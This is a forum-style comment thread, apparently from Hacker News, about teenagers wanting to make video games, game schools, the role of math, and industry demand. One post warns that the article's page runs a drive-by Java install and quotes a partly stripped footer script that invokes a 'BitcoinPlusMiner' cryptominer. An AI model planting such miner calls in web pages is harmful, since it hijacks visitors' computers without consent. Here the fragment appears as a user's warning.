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So your teenager tells you they want to 'make video games' for a living

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Re: So your teenager tells you they want to 'make video games' for a living

#51

Post by AJ007 »

dyselon wrote: post #47
jiggy2011 wrote: post #27

Do you really have to be a math genius to work as a game dev? I can see you would need very solid math and physics to build the next gen 3d graphics/physics engines although I remember an interview with John Carmack where he said that even he wasn't as good a mathematician as people thought he was. Surely there's plenty of code that goes into games that isn't advanced linear algebra? Like code for networking , game s…

Between gameplay programming and tools, a significant portion of the programming staff of a AAA game will not be overwhelmingly mathematically inclined. That's only one of many outright lies in this article.

Not a reddit reader, but I do follow Tarn Adams & Dwarf Fortress pretty closely (serious amount of respect for someone who can build a single game over a really really long time and call it his life's work, and live only on donations.)

This quote from his recent AMA really stood out to me -- "I'm sure my code is considered garbage by people that know what they are doing." And he has a very strong math background.

Re: So your teenager tells you they want to 'make video games' for a living

#52

Post by AJ007 »

chipsy wrote: post #35
jmomo wrote: post #19

I worked in the video game industry for about six years. I worked for both major publishers and some startup MMOs. Specifically, I was doing online infrastructure kind of stuff. The gaming industry wasn't something I was actively trying to get into, and I had worked in telecommunications and manufacturing prior to this. When the big telecom I was working on started losing customers back in 2001, I knew what was about…

I do agree that the gaming schools are mostly scams, but we're also simultaneously witnessing a shift in purpose and incentives to enter the field. Hobby game dev is a Real Thing now and can be picked up by people without coding skills(via tools like Twine or Game Maker). Those tools are only going to get better, and the market for readymade assets is only going to grow. The cost of video game creation is likely to g…

I am going to guess the unnamed gaming school here is Full Sail. Based on how much money they spend on online advertising they must be making a lot of money.

The sad fact is that a lot of higher education is a scam right now at the price charged. The NYTimes would suggest if your high schooler is considering becoming a lawyer it may be just as bad http://www.nytimes.com/2012/07/15/opinion/sunday/an-existent...

This discussion shouldn't be limited to just video game "schools", it has a broad application to any high school student considering what the hell they want to do. I think we a doing a disservice for not pointing this out, because (gasp) your child, or you, could just as easily end up going pursuing (insert expensive degree that will take most of your 20s to complete) and end up worse than had you gotten a mediocre 2 year video game degree.

My suggestion: spend as little as possible so you are able to make choices when you change your mind. (I went to school free and still dropped out.)

Re: So your teenager tells you they want to 'make video games' for a living

#53

Post by [deleted] »

dlhavema wrote: post #22
rikacomet wrote: post #3

I wanted to make video games in high school, I was not deterred by the pre-requisites, but rather found more interesting things to do in life. Now it seems that I want to be an Entrepreneur.

i want to be an Entrepreneur too, is anyone hiring?

[deleted]

Re: So your teenager tells you they want to 'make video games' for a living

#54

Post by bane »

When I finally decided to go to college, I really wanted to do it to make games. I didn't learn much in college that would have translated directly into game programming, but I did learn a lot that translated directly into getting a decent job. Along the way I learned how computers work inside and out, from hardware to towers stacks of software abstraction, and found tons of other things I like to make even more than games.

Now I play games for fun, which is better than the few of my friends who did go into the industry.

Re: So your teenager tells you they want to 'make video games' for a living

#55

Post by pbaehr »

jamesaguilar wrote: post #33

> You do not go to college to 'learn' talent. You are either born with it or not. Can't say I agree with this entirely. I absolutely agree that going to college for four years will not make you into a good artist. But "being born with it" will not make you a good artist either. Hammering away at it two hours a day from age 12 to 22 will make you a good artist. You may never be a great one (that is where being born wi…

I agree, but I think what you need to be born with is the passion that drives you to spend two hours a day from 12 to 22.

Re: So your teenager tells you they want to 'make video games' for a living

#57

Post by asperous »

tlarkworthy wrote: post #44
junkilo wrote: post #32

Earlier quoted context omitted.

I think the game industry is magical because its one of the toughest. (yea, I'm ex OMHUGEGAMECOMPANY too) Its like having to found a new startup every year while having to converge 4+ major disciplines to create products (software, art, music, writing, and more). Brilliant fun, with steep challenges on every angle. @jmomo you sound a little jaded. Glad things are going better for you.

Ha. Try robots. 60 years and still no progress :p

You're probably thinking of humanoid-type robots. If you consider highly-specialized and sophisicated machines to be robots, you'd realize there has been a ton of momentum in this area. I mean self-driving cars were sci-fi 60 years ago.

Re: So your teenager tells you they want to 'make video games' for a living

#58

Post by thecopybara »

jmomo wrote: post #19

I worked in the video game industry for about six years. I worked for both major publishers and some startup MMOs. Specifically, I was doing online infrastructure kind of stuff. The gaming industry wasn't something I was actively trying to get into, and I had worked in telecommunications and manufacturing prior to this. When the big telecom I was working on started losing customers back in 2001, I knew what was about…

"Like I said before, it's a supply and demand thing. There is a huge supply of kids who want to make video games, and not enough employers for them all."

But is the demand for employees at game companies static? One could imagine, and I am hardly an expert, but one could imagine that as big games become bigger and bigger, indie games see more recognition among the 'mainsteam' and the industry grows in general, the number of people they employ will rise. It will always be more competitive to get into these companies compared to some other unsexy technical thing, but I think the games space is blowing up (economically and culturally) and the schools and more jobs are (will be?) a result of that. Same with the kids who want to go into the industry. The idea that there is necessarily a fundamental lack of opportunities for those who want to work in the industry doesn't feel right to me; I guess the big problem will be making a living doing it.

Re: So your teenager tells you they want to 'make video games' for a living

#59

Post by blauwbilgorgel »

engtech wrote: post #56

Wow, this page tries to do a drive-by java install. Other comments say its to load a bitcoin harvester.

In the footer:

  
  
  
  
  

  
  www.ewebcounter.com/include/track.js:
  
  document.write('');
  document.write('');
  document.write('');
  document.write('BitcoinPlusMiner(22487784)
  ');
So a bitcoin miner AND an ad platform associated with malware/malvertising.

Re: So your teenager tells you they want to 'make video games' for a living

#60

Post by jamesaguilar »

dasil003 wrote: post #42
jamesaguilar wrote: post #33

> You do not go to college to 'learn' talent. You are either born with it or not. Can't say I agree with this entirely. I absolutely agree that going to college for four years will not make you into a good artist. But "being born with it" will not make you a good artist either. Hammering away at it two hours a day from age 12 to 22 will make you a good artist. You may never be a great one (that is where being born wi…

Were you thinking of this? http://www.conceptart.org/showthread.php?t=870

Same concept, but it wasn't this particular thread.
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